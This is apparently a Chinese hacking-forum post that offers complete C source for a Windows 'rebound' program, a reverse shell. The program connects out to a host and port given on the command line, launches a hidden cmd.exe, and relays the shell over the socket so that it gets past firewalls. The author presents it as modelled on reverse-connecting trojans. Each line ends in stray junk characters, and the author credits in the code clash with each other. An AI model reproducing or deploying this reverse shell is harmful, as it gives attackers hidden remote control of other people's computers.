这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pY]T32
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/* ============================== &y_Ya%Z3*e
Rebound port in Windows NT [ @ >}
By wind,2006/7 :+#$=4
===============================*/ pZHx
#include )}w2'(!X8
#include F#NuZ'U
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#pragma comment(lib,"wsock32.lib") {02$pO
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void OutputShell(); ETZE.a
SOCKET sClient; qHVZsZ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pY.R?\
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void main(int argc,char **argv) Z:eB9R#2y
{ CZZwBt$P
WSADATA stWsaData; ^cRAtoa
int nRet; ^Mvgm3hg
SOCKADDR_IN stSaiClient,stSaiServer; !U::kr=t
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if(argc != 3) xB4}9zN s
{ c o 8bnH
printf("Useage:\n\rRebound DestIP DestPort\n"); ^5E:hW[*
return; /tdRUX
} 2P,%}Ms
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WSAStartup(MAKEWORD(2,2),&stWsaData); wF=?EK(;P{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R<djW5 ()f
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stSaiClient.sin_family = AF_INET; )B*D\9\Z
stSaiClient.sin_port = htons(0); B)/L[ )S
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h;[<4zw
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q!;u4J
{ D?.H|%
printf("Bind Socket Failed!\n"); *q&^tn b
return; JIc(hRf9>
} Y;)l
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stSaiServer.sin_family = AF_INET; f/95}6M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gWD46+A){
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kk>z,A4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) HT:V;?"
{ ;e)`Cv
printf("Connect Error!"); nV:RL|p2jw
return; t
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} "T@9#7Obu
OutputShell(); 'pnOHT
} !tzk7D
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void OutputShell() T@jv0/(+
{ =odK i "-6
char szBuff[1024]; V]Rt[l]
SECURITY_ATTRIBUTES stSecurityAttributes; }U'VVPh_
OSVERSIONINFO stOsversionInfo; kBU`Q{.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xhs*nt%l
STARTUPINFO stStartupInfo; ~ <36vsk
char *szShell; Q{|_"sfJ
PROCESS_INFORMATION stProcessInformation; 0qq>(K[
unsigned long lBytesRead; B[IWgvB(e
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @# =yC.s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G<-<>)zO!
stSecurityAttributes.lpSecurityDescriptor = 0; 2w}l!'ue
stSecurityAttributes.bInheritHandle = TRUE; "$/1.SX;]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '|<r[K
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `mH]QjAO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Z,tHyyF?j
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kl1/(
stStartupInfo.wShowWindow = SW_HIDE; Z~w2m6;s
stStartupInfo.hStdInput = hReadPipe; n[B[hAT
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .D;6
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GetVersionEx(&stOsversionInfo); 18Vn[}]"
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switch(stOsversionInfo.dwPlatformId) )PkW,214#
{ ;b(ww{&
case 1: CH#K0hi
szShell = "command.com"; G`;\"9t5h
break; q6ZewuV.
default: k }{o:
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szShell = "cmd.exe"; .Cf!5[0E
break; PCHKH
} 5$$#d_Gj
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J$PlI
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send(sClient,szMsg,77,0); 4K\o2p?4
while(1) !9{UBAh
{ O._\l?m
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); za+)2/
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if(lBytesRead) G[*z,2Kb>
{ 7l ,f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V;W{pd-I
send(sClient,szBuff,lBytesRead,0); %NfXe[T
} 3 yw$<lm
else CiGXyhh
{ MsBm0r`a
lBytesRead=recv(sClient,szBuff,1024,0); =av0a!
if(lBytesRead<=0) break; ;l1.jQh
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WNZYs
} *?*~<R
} ^BM !TQ%!
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return; ?68~ g<d,
}